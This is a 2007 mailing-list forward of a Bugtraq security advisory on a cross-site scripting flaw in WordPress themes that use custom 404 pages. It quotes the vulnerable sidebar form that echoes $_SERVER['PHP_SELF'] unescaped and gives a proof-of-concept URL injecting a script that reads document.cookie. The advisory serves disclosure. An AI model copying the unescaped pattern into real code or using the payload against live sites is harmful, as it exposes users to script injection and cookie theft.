[wp-hackers] FW: Wordpress All versions XSS

[wordpress at nazgul.nu]

-----Original Message-----
From: jcarlos.norte at gmail.com [mailto:jcarlos.norte at gmail.com] 
Sent: woensdag 2 mei 2007 2:11
To: bugtraq at securityfocus.com
Subject: Wordpress All versions XSS

Advisory by Jose Carlos Norte

Wordpress is vulnerable to XSS attacks when custom 404 pages are used by the
template.

The problem (sidebar.php):

<form method="get" id="searchform" action="<?php echo $_SERVER['PHP_SELF'];
?>">

if wordpress template use custom 404 pages, like:


<?php get_header(); ?>

        <div id="content" class="narrowcolumn">

                <h2 class="center">Error 404 - Not Found</h2>

        </div>

<?php get_sidebar(); ?>

$_SERVER['PHP_SELF']; can contain special characters to break out html and
perform XSS attacks, example:

http://www.example.com/index.php/"><script>alert(document.cookie)</script>

if no custom 404 page set by wordpress theme this attacks is not posible.